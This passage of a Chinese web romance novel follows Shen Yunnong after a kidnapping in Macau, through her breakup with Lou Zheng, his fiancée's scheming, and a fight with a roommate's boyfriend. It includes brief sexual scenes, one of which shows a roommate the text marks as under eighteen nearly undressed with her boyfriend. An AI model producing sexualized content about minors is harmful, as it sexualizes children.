沈韫浓趴在他的胸口,唇上沾着一点酒渍,媚眼如丝:“不需要。我给你三秒钟拒绝我。” 话是这样说,可她一秒都没等,直接咬上了他的锁骨。 深一声浅一声的喘息,在餐厅回荡。 楼铮在彻底失控前反客为主,将沈韫浓抱起来,推开了最近的房间。 生理性喜欢真的太可怕。 他太渴望她,以至于再得到时,心里的欢愉大过身体。 今晚,沈韫浓陪着他疯,花样比他还多。 多日来的饥渴被填满,以至于到后来楼铮都开始产生幻觉,不知道自己是真的找到了水源,还是看到了沙漠里的海市蜃楼。 在两人结束,昏睡过去之前,楼铮还觉得不真实。 “这是奖励吗,沈韫浓?” “是报答。” 这个回答,楼铮没有细究,他太满足了,满足到有点得意忘形。 他觉得自己终于打动了沈韫浓,今天过后,她就会完全属于他了。 早上,沈韫浓先醒。 她刚要起身,便被身后的手臂缠住。 “再睡会儿。”楼铮说,把她用力往怀里箍。 沈韫浓有点透不过气,温声道:“不了,你再睡会儿,我起来收拾一下,就回去了。” 楼铮这时还没反应过来,今天就回吗? “好,那你等我收个尾。”他说,在枕边摸自己的手机。 沈韫浓:“不用,我和我妈坐客机回,不麻烦你了。” 楼铮皱眉:“麻烦什么,这不是应该的?” 原本就睡眠不足,昨晚又太过放纵,眼下他的头有点痛。 沈韫浓转头看他:“当然不是,你愿意帮我,是因为你人好,我总不能一直占你便宜。” 这话楼铮听懂了,也瞬间清醒了。 他松开手臂,坐起身来,目光沉沉地睨她。 “沈韫浓,你又准备提裤子翻脸是吧?” 第一百一十三章 恋爱脑和没良心 沈韫浓见楼铮起身,也跟着坐起来。 “不是翻脸,是我们本来就是不对的,这次的事情,我实在不知道怎么谢你才好,好像我欠你的,永远还不清,所以昨天……” 她的声音低下去。 楼铮气得眉心“突突”跳,也终于明白了昨天那句“是报答”什么意思。 报答! 他楼铮想要什么女人得不到,偏偏在她这里要点爱,要出来摇尾乞怜! 他以为,她昨天的反应是因为爱,是真情流露! 用这种方式感谢他?!这是救她命的是他,换了别人呢? 昨夜有多亢奋,现在就有多失落。 楼铮心口疼得发麻。 他想发疯。 “沈韫浓,你该不会觉得跟我睡,就是报答了吧?我楼铮的救命之恩,是睡一觉能还清的?” 楼铮的额上暴着青筋,眼神像要吃人。 沈韫浓抿唇,低下头去。 “如果哪天你也需要我,我一定肝脑涂地。” “可以为我去死,就是不能跟我在一起,是吧?” 没有等到答案,楼铮起身下床,直接摔门走了。 望着门口的方向,沈韫浓有片刻的失神。 她知道自己说这些楼铮会生气,可似乎,除了让他生气,也没有更好的解决办法。 沈韫浓只内耗了一小会儿,之后,起身换衣服去敲顾曦薇的房门。 没想到顾曦薇不在。 听菲佣说,她在院子里。沈韫浓走出去,正看到顾曦薇在院子里的水池旁跟楼铮站着说话。 休息了一晚上,顾曦薇的精气神儿明显好了很多,她又恢复了过去娇俏美丽的模样。 顾曦薇说:“多亏了阿铮,要不是你,我都不敢想宝宝一个人会有多无助。” 这句话成功地让沈韫浓立在台阶上没敢往前去。 她很不满顾曦薇对楼铮的称呼,阿铮也是她叫的,太没有边界感。 但楼铮似乎不介意。 他笑笑,声音有点倦意,但没有半点刚跟自己吵架的怒气:“您人没事就好。” 顾曦薇道:“没事,都怪我这个人狠不下心,毕竟我跟英耀也这么多年了,连宝宝都说我恋爱脑,有这么一次,我也长教训了……” 跟他说这个做什么? 沈韫浓皱眉,她实在不知道顾曦薇跟楼铮有什么好聊的。 谁会在意她是不是恋爱脑? 交浅言深是大忌啊,妈。 可楼铮还在很有耐心地笑:“重感情总比没良心要强。” 说这话时,他抬眼,扫了一下站在台阶上的沈韫浓。 沈韫浓抿唇,垂下眼去。 楼铮又敷衍了顾曦薇几句,转身离开。 顾曦薇这才进屋。 “真没想到,楼铮这么平易近人。”顾曦薇感慨,“宝宝,这么好的男人你可要抓紧啊。” 沈韫浓扫了她一眼,没接话,而是说:“妈,你收拾收拾,我们今天回海市。” 顾曦薇点头:“好,阿铮也说,他没空送我们,让底下的人送,他的私人飞机已经等着了。” 沈韫浓停下看机票的手,皱起眉头:“你答应了?” 顾曦薇:“嗯,当然啊,妈妈还没有坐过私人飞机呢,也是享了女儿的福了。” 沈韫浓真的生气了。 “妈,你以后这种事能不能跟我商量下?而且,你能不能别叫他阿铮,我们跟他没有熟到这种程度!” 见她恼,顾曦薇眼神有一瞬间的闪躲。 “你别生气啊,宝宝,他肯帮妈妈还不是为了你,妈妈以为你们在恋爱嘛。称呼是阿铮,不是,是楼铮让叫的,至于私人飞机,妈妈也没想那么多嘛。” 因为不听沈韫浓的话,搞得自己被沈英耀卖了还连累沈韫浓,顾曦薇最近心虚得很,脾气都好了不少。 沈韫浓几次调整呼吸,终是强撑着没有再发火。 她跟林贞打了个视频,托她帮忙给顾曦薇找个房子。 沈家的老宅自然是不能住的,她的出租屋也不方便。 “我天,这么大事你不告诉我!”林贞在视频那边喊,一想到沈韫浓这三天差点死在澳城,心跳都差点停了。 “沈韫浓,我还是不是你朋友!” 沈韫浓赶忙哄她。 “不想让你担心嘛,你看,我现在不是好好的。” “哪里好好的,你脸都伤成什么样了!”林贞的眼泪飙了出来。 两人又聊了好一会儿,最终说定把林贞的一套小公寓暂时借给顾曦薇住。 “你就别跟我客气了,你跟你妈又处不来,总不能一起住。回来负担两份房租压力太大,就这么说定了。”林贞霸道拍板,沈韫浓便也没有拒绝。 楼铮一走就没有再露面,沈韫浓和顾曦薇中午吃过午饭坐私人飞机回海市。 海市,陈宅。 陈知意到的时候,陈兴邦正在楼上的书房跟人谈事。 她在客厅等得心急如焚,半小时就让人去催了两趟。 以至于陈兴邦出来的时候,脸色很不好看。 “我们家大小姐怎么了?什么事这么沉不住气?平时也不见你这么急着找我。”陈兴邦数落她。 陈知意让佣人都退了出去,看着陈兴邦,顿时红了眼圈。 “爸,你得帮我!”她开口,带了哭腔。 陈兴邦怀疑自己听错了,他天不怕地不怕的女儿,好像在害怕。 “你别急,跟爸爸说说,到底怎么回事?”他问。 陈知意便把自己发现沈韫浓和楼铮的事,以及如何跟人联手绑架沈韫浓的事说了。 “楼铮被那个贱人迷住了,为了她把两条船上的人都废了,如果他查到我,会不会……” 陈知意听说有人在会所外的垃圾桶,看到了几十只耳朵! 她还从未见过楼铮发这么大火,上回她把小七月赶出海市,他也只是似是而非地说了自己几句罢了,这次,为了一个沈韫浓,他竟然联系上了伏虎堂的人…… 陈知意不由的心惊。 “你冷静点。”陈兴邦看陈知意六神无主的样子,按住她的手,“这件事,你没出面吧?” 陈知意:“没有,我做的很隐秘,联系阿龙的人也不在国内。” 陈兴邦轻舒了一口气:“那你怕什么!他楼铮有证据能证明是你做的吗?再说了,你有老太太撑腰,就算他真知道是你做的,能把你怎么样?” “你啊,也别太把那个女人当回事,男人嘛,新鲜劲过了就好了,只要不闹出“人命”。楼铮难道还能娶个表子的女儿?” 陈兴邦一番话,点醒了陈知意。 是啊……她可是楼老太太钦点的孙媳妇,外面那些阿猫阿狗的,怎么配跟她比! 她突然觉得自己就是被那条手链气昏了头,满心都是攀比和报复,才这样鲁莽,出了个自以为聪明的烂招。 是她太把沈韫浓当回事了。 楼铮喜欢她有什么用,楼家还不是老太太说了算。 再说,沈韫浓除了有点姿色还有什么?论家世,论才华,哪里比得过她。 陈知意冷静下来。 陈兴邦一看女儿的样子就知道她怎么想的:“你也别整天窝在那个小画室里,这两天多去搂老太太那儿走动走动。把楼铮跟那个女人的事,跟老太太说说。” 自从“下药事件”发生后,陈知意好长时间不敢在楼老太太面前晃了。 陈兴邦也想到了这一点:“上次的事楼家没有追究,那就是已经过去了,你要是自己抹不开面子,跟老太太生疏了,那不是伤了老太太的心,把楼铮往外推么。” 陈兴邦的话点醒了陈知意。 所以,她也确实该去看看老太太了,至少得让老太太知道,楼铮最近都在干什么吧。 第一百一十四章 陈知意阴阳 楼铮早上走了就没有再露面,由陆枭护送沈韫浓和顾曦薇回海市。 顾曦薇倒也不是除了美貌外全无优点,她还有一个优点就是超强钝感力以及一等一的恢复能力,好了伤疤忘了疼。 被贺今朝放出来到现在不过两天,她又开始谈笑风生了。 也不知道是不是几天的培训,真把顾曦薇的“荷官”技能点激活了,她这两天嘴特别甜。 路上顾曦薇全程都在跟陆枭聊天,她夸陆枭长了一张电影里的硬汉脸,还要给他介绍女朋友,陆枭差点以为自己就是当世李小龙了。 沈韫浓在一旁坐着,不参与他们的对话。 她发呆,脑子里反复想着在澳城这惊心动魄的四天三夜。 她不仅活着,还平安带回了顾曦薇,亲眼看着沈英耀遭了报应。 这也就够了。 在半年前,如果有人告诉她,她半年后可以把沈家搞垮,她会觉得不是自己疯了就是那个人疯了。 可现在,她做到了。 这一切,虽说跟她自己的努力谋划分不开,可最重要的一环是楼铮。 想起这个名字,沈韫浓的心口发疼。 她忘不了昨夜他沉迷的表情,以及今天早上生气的样子。 他哪里都好,是她站的不够高,没有这个福气。 飞机在天上两个多小时,她的思绪也飞了两个多小时。 后来,她又想起一件事,忍不住一个激灵:沈进廉和沈清妙,似乎自从沈家出事后就没有音讯了。 苏磊的人也没有拍到过他们。 还有沈商序,他虽然人在国外,可沈家发生这么大的事,他会一点反应都没有? 好在这三个人成不了什么大气候,如果杀回来,就见招拆招吧。 飞机落地,沈韫浓的思绪也收回。 在见到林贞的那一刻起,她才对今后的新生活有了实感。 林贞抱了两束花等她们,把接机仪式隆重得好像是什么英雄归来一样。 “谢谢,我回海市就安全了,不用保护了。”沈韫浓对陆枭说。 陆枭嘴上答应着,可沈韫浓坐上林贞的车,在倒车镜往外看,依然看见了后面跟着一辆灰色轿车。 沈韫浓知道,他只听楼铮的。 既然下定决心断了,总不能还要他的人保护吧,海市的治安很好,沈英耀不在,她应该没那么危险了。 还是等还手链的时候跟楼铮说清楚吧。 “在看什么?”林贞看她对着窗外出神,忍不住问。 “没什么。”沈韫浓强行收回思绪。 有很多话,她和林贞说可以,让顾曦薇知道是万万不可的。 比如她跟楼铮睡过这件事,如果被顾曦薇知道,说不定她能跑到楼家去要人家负责。 到时候她就真的不如找条绳子吊死算了。 晚饭是林贞安排的,她定了一家海鲜酒楼,给顾曦薇和沈韫浓压惊。 期间,沈韫浓出去上了个洗手间的功夫,顾曦薇套林贞的话。 “这次我们在澳城多亏了楼铮照顾,要不然估计都回不来了。”顾曦薇说。 林贞乖巧:“阿姨吉人天相,不会有事的。” 顾曦薇:“话是这么说,可想起来还是后怕。多亏了楼铮。贞贞,韫浓是不是跟楼铮在交往啊?” 林贞眼珠一转,知道顾曦薇自己的豪门梦破碎,说不定又打起了让沈韫浓高嫁的主意。 赶忙正色道:“阿姨,您可千万别这么说,说出去就是给韫浓找麻烦,说不定会要了她的命!” 顾曦薇吓了一跳:“这么严重?” 林贞疯狂点头:“当然了,楼铮跟陈家有婚约的您知道吧?陈家那个大小姐占有欲很强的,楼铮之前跟个戏曲演员走得近了点,结果没几天,他们整个剧团都被赶出海市了。她要是听到韫浓跟楼铮在交往这种话,弄死韫浓,跟捏死一只蚂蚁一样简单。” “更何况,楼家是什么条件,会让韫浓进门吗?多少富二代找女朋友就跟换衣服似的,您要是为了韫浓好,就千万别把他俩扯一起!” 这话自己女儿说没用,外人说有奇效。 林贞的神情异常严肃,一时把顾曦薇震慑住了。 顾曦薇又想起沈韫浓警告自己的话,才觉得自己着实离谱,居然还妄想让楼铮做姑爷。 她捏了把冷汗,彻底老实下来,以至于后来帝王蟹端上来,顾曦薇都没心情吃。 沈韫浓不明所以,悄悄给林贞发消息:“我妈怎么回事?突然这么老实。” 林贞:“悄悄跟我磕你和楼铮的CP,我说这样你会被陈知意暗杀,她吓坏了。” 沈韫浓给她比了三个【大拇指】。 说曹操曹操到,吃完饭,三人还没出餐厅,在一楼大厅居然就遇到了陈知意正挽着一个贵妇的手出来。 贵妇人沈韫浓眼熟,在记忆里搜寻,想起来了,之前在楼老太太的寿宴上见过,是楼铮的母亲苏娅。 苏娅常年在国外给楼展陪读,上次回来还是老太太八十大寿。 沈韫浓面对陈知意,总有种说不清道不明的心虚,好像自己挖了她的墙角,此时,见到她和楼铮的母亲在一起,这种心虚加剧。 “好巧,楼夫人,陈小姐。”沈韫浓打招呼。 苏娅看沈韫浓也觉得眼熟,张了张嘴:“你是……” 陈知意马上亲亲热热介绍:“伯母,这位就是我跟您说的阿铮的漂亮助理呀。” 沈韫浓不卑不亢:“楼夫人,我是楼总前助理,现在已经离职了。” 没等苏娅开口,陈知意看看沈韫浓又看看后面的顾曦薇,笑道:“沈太太平安回来了就好。我朋友圈不少人都慕名去了澳城,没能目睹沈太太的风采,真是可惜了。” 这话着实让人膈应,沈韫浓皱眉。 顾曦薇刚听林贞描述完陈知意有多狠,此时见了本人,还处于心有余悸的状态,又被她当面揭开自己做荷官的过往,竟然张了张嘴一时间答不上话,涨得脸都红了。 林贞可不惯着陈知意:“怎么,陈小姐,你朋友圈有这么多赌鬼朋友吗?我以为你这种搞艺术的,会不屑于跟那些烂赌鬼为伍,没想到……” 话说到一半,她猛地捂住了嘴,做出自责的样子看了一眼苏娅,又对陈知意道,“抱歉,陈小姐,是我心直口快了。” 言下之意,可别让你未来婆婆多想。 苏娅这个人不傻,但心思相对纯粹,没那么多弯弯绕绕,要不是这样,她也不至于一把年纪了,也没拿到楼家的管家权。 楼老太太试图培养过她,发现她除了脸好看,娘家又有钱,在这方面实在是不灵光,不愿意操心。 后来,干脆也由她去了,这才把心思放到了未来孙媳妇身上。 苏娅见几个人在她面前打机锋,偏偏每句话她都听不懂,有点不满,问陈知意:“你们在说什么?” 陈知意就等着苏娅问这一句呢。 她拿出手机给苏娅看:“伯母,是这样,前几天澳城娱乐城挂了个海报,说沈太准备重操旧业发牌了。” 陈知意说的时候,语气平静,可任谁都可以从中听出满满的恶意。 沈韫浓还没开口回怼,只听苏娅说:“所以你关注这些做什么?你有很多赌鬼朋友?” 第一百一十五章 给楼铮妈跪下 咦?故事的走向似乎和想象的不太一样。 沈韫浓和林贞交换了个眼神。 陈知意尴尬:“那倒没有……我就是看人朋友圈发的,好奇嘛。” “知意。”苏娅正色,“你以后是要嫁进楼家的,我不希望我未来的儿媳妇是个长舌妇,这样很让人反感,没有当家主母的风范。” 要不是场合不合适,沈韫浓和林贞都想给苏娅磕一个了。 楼铮他妈妈真是个妙人啊! 陈知意被苏娅数落得脸红一阵白一阵,很不好看。 沈韫浓趁机道了别:“楼夫人,陈小姐,没事的话我们就先走了。” 她没有跟苏娅解释顾曦薇的海报为什么会挂在娱乐城,犯不上说,苏娅也未必会听。 三个人一直到走出去,上了车。 顾曦薇的神色才缓和了一些。 “没想到楼铮人这么好,他未婚妻这么不是个东西。”她说。 “都说了,不是咱们惹得起的人。”沈韫浓趁机说。 “不过他妈不错,非常讲道理。” 沈韫浓:“……” 她想说苏娅这么做跟她们无关,最大的可能是单纯瞧不上陈知意,借题发挥罢了。 可想了想,顾曦薇的脑容量未必能懂,索性闭嘴。 沈韫浓猜的没错,苏娅的确瞧不上陈知意。 她嫁到楼家二十几年,向来顺风顺水,唯一不舒心的地方就是没得到婆婆的认可,但陈知意是楼老太太钦选的孙媳妇,老太太满意的不得了,一想到这些,苏娅就来气。 平时陈知意跟她走得也不算近,就知道拍老太太马屁,今天去看完老太太非要请她出来吃饭,她就觉得不对劲,看来,真的没猜错。 这几天楼铮在澳城,陈知意今天找老太太,也反复提到了澳城和助理。 老太太说:“男人就这样,结了婚自然能收心。” 一句话就给她打发了。 没想到,她又安排了这么一出。 苏娅可不管楼铮在外面怎么玩,反正她家是儿子,又不吃亏,但陈知意想拿她当枪使,想得美。 沈韫浓一行离开,陈知意被苏娅说得有点上脸儿,苏娅刚好也不想跟倒胃口的人一起吃饭。 她假装接了个电话,借口楼展突然找她,径直撇下陈知意走了。 陈知意气得脸又由红转绿,恨不能放把火把饭店烧了。 当然,她可不会去怪苏娅,这笔账自然又算到了沈韫浓的头上。 林贞和沈韫浓先把顾曦薇送到了住处安顿好,沈韫浓又把那10万块转回给了她。 “这个钱你自己收着,存起来不要动,我每个月会再转三千块生活费给你。”沈韫浓说。 嘴甜的顾曦薇再次上线:“难怪算命的说妈妈能指望上宝宝呢,谢谢宝宝。” 沈韫浓无奈。 她妈这张嘴,平时这么好用,怎么到事儿上派不上一点用场呢。 在饭店,还不是要靠林贞救场。 从小公寓离开,林贞送沈韫浓回住处,两人终于能说点知心话。 林贞心疼她:“你以后压力可就大了,不仅要养活自己,还要养活阿姨。阿姨奢侈惯了,也不知能不能适应新生活。” 沈韫浓:“怎么不行?又不是没过过苦日子。当年她被池家赶出来,还带我一路要饭到澳城呢。也挺好笑的,我妈一辈子也就有骨气过那一回,偏偏是那一回让她有今天的际遇,也不知道是好是坏。” 林贞一边看着前面的路况,一边说:“当然是好事,你们两个都健康平安,你才20岁就能扳倒沈家,以后未来可期。” 沈韫浓笑,林贞说到了她心坎上。 她也觉得虽然现在日子难一点,但是个好的开始。 之所以能这么顺利,有惊无险,最感谢的还是楼铮…… 今天她想楼铮的次数有点多了。 沈韫浓揉了揉太阳穴,把这个人从自己脑子里赶出去。 但她刚赶出去,林贞却起了头。 “不过,画室那里你差不多也辞了吧。我看陈知意已经对你有敌意了。” 沈韫浓:“她之前就很防着我,试探了我好几回。这次估计是看我去澳城,楼铮也去了,就开始发疯,其实我倒是能理解她。别管她跟楼铮感情如何,到底人家是名正言顺。” 相比之下,她明知道楼铮有未婚妻还跟他纠缠。 她才是那个道德败坏,该下地狱的人。 林贞听出了她没说的后半段话,叹了口气:“这事又不怪你,在那样的环境里,你的首要目标是活下来,别的都是其次。更何况,一直是楼铮自己贴着你不放,而且他们还没结婚呢,你也没想过挤掉陈知意上位。” 沈韫浓:“之前是没想过,可在楼铮为了救我站在绑匪枪口下的时候,我想过的。那个瞬间,我觉得如果是楼铮,哪怕只是做个情人,我也愿意。” 恰逢红灯,林贞一个急刹。 “怎么回事?” 沈韫浓受够了她一惊一乍的车技,抓紧了右上方的扶手:“姐,你慢点开,我没死在海上,死在你车里可就搞笑了。” 林贞尴尬地笑了一下:“好嘛,爱听八卦也是人之常情。” 沈韫浓又把自己被绑架的事说了,包括楼铮又是如何把她从那艘船上救回来的。 明明已经过了两天,再回忆起来,依旧心惊肉跳,说到楼铮用自己交换人质的部分,她嗓子哽了一下。 林贞听得倒吸了口凉气,许久才说:“你已经很克制了,要是我,这会儿已经生是楼铮的人,死是楼铮的鬼了。他有钱有势长得好,其实还不算什么,最可怕的是,这样的人愿意付出真心,简直是绝杀。” 沈韫浓沉默不语。 车子一路驶入小区,沈韫浓和林贞在单元楼门口告别。 “你回去好好睡一觉,什么都不要想了。”林贞说。 “谢谢你把房子给我妈妈住。”沈韫浓拥抱她。 两人告别,沈韫浓上楼。 谁知,刚打开家门,沈韫浓便“啊”地一声捂住了眼睛。 客厅里,田欣正在沙发上跟一个黄毛男激情拥吻。 她已经脱到了只剩一条内裤,黄毛男的手还伸进了她的内裤里,即将发生什么可想而知。 沈韫浓被眼前的这一幕惊到,有三秒钟脑子一片空白。 “我出去一趟,10分钟后回来。”她强作镇定,接着,迅速把门合上。 在门外站了10分钟的样子,沈韫浓再次开门进去。 这回田欣已经穿戴整齐,那个黄毛不在,应该已经去了她房间。 只剩田欣一个人在客厅,也不知道是不是恼羞成怒了,居然恶人先告状:“你有没有素质,进来不知道敲门啊?! 第一百一十六章 辣眼睛 这可真是小刀剌屁股,开了眼了。 沈韫浓要被气笑了:“你什么时候回来敲过门?我是正常付房租的,又不是找你借住来了,回家要看你脸色吗?” 田欣也知道是自己理亏,被沈韫浓怼了不敢回嘴,停顿了一下,才说:“那是我男朋友,以后就住在这里了。” “你还没满十八周岁吧,现在就跟男朋友同居了,你爸妈知道吗,同意吗?而且你今年不是要高考吗?” “要你管!你是我谁啊?你住太平洋吗?” 沈韫浓眉心跳了跳,之前看这个小姑娘挺正常的呀,怎么最近突然发癫了。 “谁乐意管你!”她语气冷下来:“要是早知道你会带男人回来住,我也不会同意跟你合租。” 田欣无所谓地耸耸肩:“随你咯。我也付了房租的,想要谁住就给谁住!” 随即,转身回房。 沈韫浓一个人在客厅,只觉得无语他妈给无语开门,无语到家了。 夜里,她头一次知道了这个房子的隔音效果这样差。 躺在床上听了大半夜隔壁房间的现场直播后,沈韫浓实在忍不了,一个枕头砸在了墙上:“麻烦小点声,没人对你们床上那点事感兴趣!” 世界安静了半分钟,之后,是更大的动静。 沈韫浓想起那个目测得有200斤的黄毛,突然有点可怜房东的床。 小说里才可能出现的奇葩舍友出现在身边,沈韫浓把被子捂住头,试图寻求一点清静。 这房子,她觉得自己一天都住不来了。 当即决定,明天先搬去林贞那里凑合几天,之后马上租个一居室。 这样想着,沈韫浓干脆也不睡了,起床收拾了半夜的东西。 谁知,第二天早上她还没走,更奇葩的事来了。 沈韫浓在浴室洗漱,那个黄毛突然出现,站在门口看她。 “你着急用浴室吗?”沈韫浓不得不问。 “不。”黄毛摇头,一双色眯眯的眼睛打量她。 “那我大概要用10分钟。”沈韫浓说,径直走过去关上了门,反锁。 原本还想洗个澡的,看见眼前的场景干脆算了,多一事不如少一事。 谁知,她刚把门关上没多久,那扇门闹鬼似的,又开了一条缝。 沈韫浓对着镜子刷牙,便看到了那双窥视的眼睛。 之前只有两个女生住,怕钥匙乱放会找不到,索性直接插在了门上,刚才反锁的时候,沈韫浓忘记把钥匙拔下来了。 她跟顾曦薇在风月场上混迹了两年,又进了沈家的狼窝,对这样不怀好意的凝视尤其敏感。 黄毛的目光让她想起了沈英耀,一阵反胃。 沈韫浓转头冷冷回视:“你那么急吗?” 黄毛舔舔嘴唇:“看看都不行?这么小气。” 沈韫浓静静地盯着他:“滚出去!” 她语气已经很严肃了,但黄毛偏偏像聋了的,一动不动:“你叫什么名字?多大了?” 沈韫浓:“你走不走?” 黄毛:“美女别那么凶嘛,交个朋友,对了你有男朋友吗?” 沈韫浓懒得再搭理他,她环顾四周,浴室里最趁手的工具是一个刮水的拖把。 她拎起来,对着黄毛的脑袋狠狠砸了下去。 黄毛没料到她长得柔柔弱弱的竟敢动手,被打了个措手不及。 之后,也不甘示弱,冲进浴室就要打她。 “我给你脸了是不是?死三八!” 黄毛过来薅她的头发,沈韫浓的格斗对付澳城混黑道的马仔不行,但这种二百斤的肥猪还是有点用的,一个肘击,一下踹裆,再接上王八拳,不知哪一下打到了他的眼睛,黄毛哀嚎一声,捂住眼蹲在地上。 这时,田欣也冲了进来。 “你干什么?”她挡在了黄毛面前,对着沈韫浓吼。 黄毛恶人先告状:“她,她勾引我!” 人在无语的时候,真的会想笑。 沈韫浓指了指自己,又指了指地上的黄毛。 “我,勾引你?请问你是吃拼好饭中毒了吗?我又不是山海经爱好者,要收集你这样的死怪兽做什么?” 黄毛的一只眼睛已经肿了。 “就是你故意不关门勾引我!你不要狡辩了!” 沈韫浓拿出手机:“好,那报警。我们去局里说。” 她已经按完那三个阿拉伯数就准备拨出去。 田欣先心虚。 倒不是她相信沈韫浓的人品,只是沈韫浓的追求者质量有多高她是见识过的,总觉得会想不开看上她这个精神小伙男朋友。 “这次就算了,以后再让我发现你这样,就去网上曝光你!”田欣恶狠狠地说。 接着,扶着黄毛回了自己房间。 沈韫浓心中羊驼狂奔,最终那个报警电话也没有拨出去。 倒不是为了息事宁人,而是没有证据,报警扯完皮估计也是不了了之。 她索性也不再洗漱,回房拿了行李箱走人,一大早直接去了林贞家。 林贞还没起,沈韫浓直接输密码进屋,走进卧室,钻进了她的被窝。 “怎么了这是?”林贞没睁眼,伸手抱住她,迷迷糊糊地问。 沈韫浓把头埋进她的34D大胸:“先睡觉,睡醒了跟你分享奇葩。” 对八卦的热情盖过了困意,林贞火速睁眼:“我醒了!” 沈韫浓:“……” 她在林贞处一住就是三天,周日早上,陈知意和以往一样在微信上发了着装要求,又若无其事地问:“亲爱的,今天你能来上课是吧?” 好像前几天在海鲜酒楼对她阴阳怪气的另有其人一般。 沈韫浓:“可以,我正好有事跟你说。” 她想跟陈知意请辞,她的状态已经不适合去画室了。 一方面,田欣在已经让她生理不适,更重要的是,这几天,她一直在强迫自己忘记楼铮,频繁看见陈知意,只会让她的全部努力都会付诸东流。 这次,沈韫浓踩着时间到的,没给陈知意跟她闲聊的机会。 上课时,自然也没错过田欣不屑的眼神。 沈韫浓不觉得冒犯,甚至有点想笑。 她没什么好计较的,田欣又不是她女儿,自己对她没责任,这样拎不清的女孩,这辈子会有什么样的际遇,基本上能一眼看穿,跟她计较,跌份儿。 课后,沈韫浓跟陈知意提请辞的事,她说准备全心全意找工作了,不想分心。 陈知意竟然满脸诚恳地求她:“怎么这么突然呢,孩子们还有半个月就艺考了,起码要等艺考结束吧。而且,阿铮要给我办个10场画展,艺考结束后会办第一场。” 她双手合十:“拜托了,你起码再坚持两周吧。” 沈韫浓微微诧异:“你真的要办画展?” 之前还以为是为了敷衍王老太太。 陈知意嘟嘴:“别提了,还不是楼铮,说自己这阵子太忙,没空陪我,要补偿我。好像谁稀罕他陪似的!” 沈韫浓看着陈知意凡尔赛的表情怔愣了一瞬,然后忍不住笑了出来。 “陈小姐,如果你精力都花在画展上了,他就更不用陪你了。” 第一百一十七章 不娶陈知意 换了其他人,可能真就觉得楼铮这是在讨好陈知意了,可沈韫浓见过太多次他俩的相处了,陈知意每次都表现得好像很排斥这个婚约,并且对楼铮没意思,楼铮也次次都是跟她杠,怎么可能主动说软话。 陈知意现在故意在他面前这么说,无非就是想炫耀罢了。 说之前没觉得前后矛盾,沈韫浓一笑,她才觉得面子上挂不住。 她凭什么笑? 不会是在为挖了她的墙角得意,觉得自己是个被蒙在鼓里的蠢货吧? 陈知意心里怄火,暗自咬碎了一口牙。 面上也笑:“我才不稀罕他陪,要不是门当户对,老人又催得急,我才不跟他结婚呢。” 这话说的,好像她和楼铮已经结婚了,她还是委屈下嫁。 “门当户对”四个字,是给沈韫浓敲警钟。 沈韫浓不接茬,微笑。 “但是韫浓,这些孩子画你画那么久了,临时换人也不适应,你好人做到底,再坚持两节课吧,实在不行,我再给你加一千块,好不好?”陈知意能屈能伸,语带恳求。 沈韫浓:“抱歉,陈小姐,如果是为了艺考,那我觉得我更该离开了。这帮孩子也应该去熟悉一下其他风格的模特,以免到时候换个人画不好,就尴尬了。” 她很坚决,陈知意没有留住。 跟陈知意告别后,沈韫浓又去了那家二奢店。 好巧不巧,这次周彦在。 两人一见面都愣了一下。 周彦先反应过来。 “沈小姐也来出二手吗?” 沈韫浓不知道他就是这家店的老板,不好说实话,只说随便看看。 周彦点头:“我也是随便看看,没什么合适的,这就走了。” 他给店员使了个眼神,迅速离场。 周彦一走,沈韫浓这才跟店员说明来意。 店员比沈韫浓想象中的好说话,只加了千分之二的服务费,就让沈韫浓把那条手链赎回了,里外里损失4万。 沈韫浓已经顾不得心疼,她就地联系了一个跑腿公司,准备给楼铮送过去。 “可以保价吗?”她问。 那边答:“可以,请问您想保多少?” “2000万。” “小姐,我们一单就赚5块钱,这个业务我们接不了,您应该去找龙门镖局。” …… 沈韫浓被跑腿小哥幽默到,无语地挂了电话。 算了,不行找机会直接送去楼氏吧,她默默地想。 画室里,陈知意看着沈韫浓下楼离开的背影,露出一抹冷笑。 “贱人。” 身后,田欣的声音突然响起,陈知意以为她在骂自己,吓了一跳,回头惊愕地看着她。 不等陈知意开口,田欣又道:“陈老师,你不知道她多不要脸,在家勾引我男朋友。对了,有天我回家的时候,还看到了她勾引你未婚夫!” 其他学生都走了,画室里只剩田欣和陈知意,田欣把沈韫浓“勾引”自己男朋友的事一笔带过,接着,着重讲了那天在单元楼门口看沈韫浓是如何“勾引”楼铮的。 “她假装自己低血糖,往楼小爷身上扑,幸亏楼小爷看见了我,不然都不知道怎么脱身。” 田欣绘声绘色,说的跟真的一样。 陈知意指甲都要掐进掌心了,沈韫浓这个绿茶婊,果然比她想象中更会勾引男人,是自己小看了她。 面上陈知意却淡淡的:“不是吧?沈小姐看着不像那种人啊,你会不会搞错了?” 田欣:“她可会装了,陈老师千万别被她挖了墙角还不知道!” 陈知意倒了杯茶给田欣,做出一副很感动的样子:“谢谢你啊欣欣,要不是你跟我说这些,我还被蒙在鼓里。” 又看了看时间:“晚上我请你吃饭吧,这边有家法餐特别不错。” 送上门来的好助攻,她可不能错过。 陈知意和田欣一起去吃饭的时候,沈韫浓收到一条林贞的微信。 【看看我碰见谁了。】 林贞说给她发了一张照片,是陈知意和田欣手挽手的背影。 这两个人已经是能私下一起去吃饭就交情了? 沈韫浓眉头微微挑起,心里升起一种不好的预感。 林贞跟她一样敏锐。 “我总觉得,她们突然走这么近是因为有共同的敌人——你。” 沈韫浓发了个【无辜】的表情包过去。 “长得太美,我很抱歉。” 一句话直接给林贞干无语了。 她很久才回:“我是要你提高警惕。” 沈韫浓淡定:“兵来将挡水来土掩。” 主要是,盲目的恐慌也没什么用。 当晚,周彦离开店里,第一时间给楼铮发了消息。 周彦:“沈韫浓过来把手链赎走了,我就说她还是爱你的吧。” 楼铮这会儿正陪着老太太吃饭,听到手机响,他拿出来看了一眼,嘴角止不住地上扬。 跟沈韫浓相处的这几个月,他早就养成了自己哄自己的好习惯。这几天思来想去,他已经没有那么气了。 这事不怪沈韫浓,是他自己没有把和陈知意的事处理好。 他甚至没有给她一个明确的进度条,告诉她等多久。 沈韫浓从小生活在那样一个环境里,又没有安全感,遇到他这样大阵仗的攻势,想逃是正常的。 其实,他和陈知意的“婚约”不过是两个老太太口头一说,连个婚书都没有,不作数的。 要怪就怪他过去是觉得娶谁都差不多,才没有明确拒绝陈家,给了他们不切实际的期待,也任凭陈家用两人的“婚约”说事,得了不少利益还搞得人尽皆知。 如今,他想给沈韫浓一个交代,还是决定要说清楚。 他要说,楼老太太也要说。 “这个东星斑是昨天知意送来的,你尝尝。”老太太亲自用公筷夹了一块鱼肉到楼铮碗里。 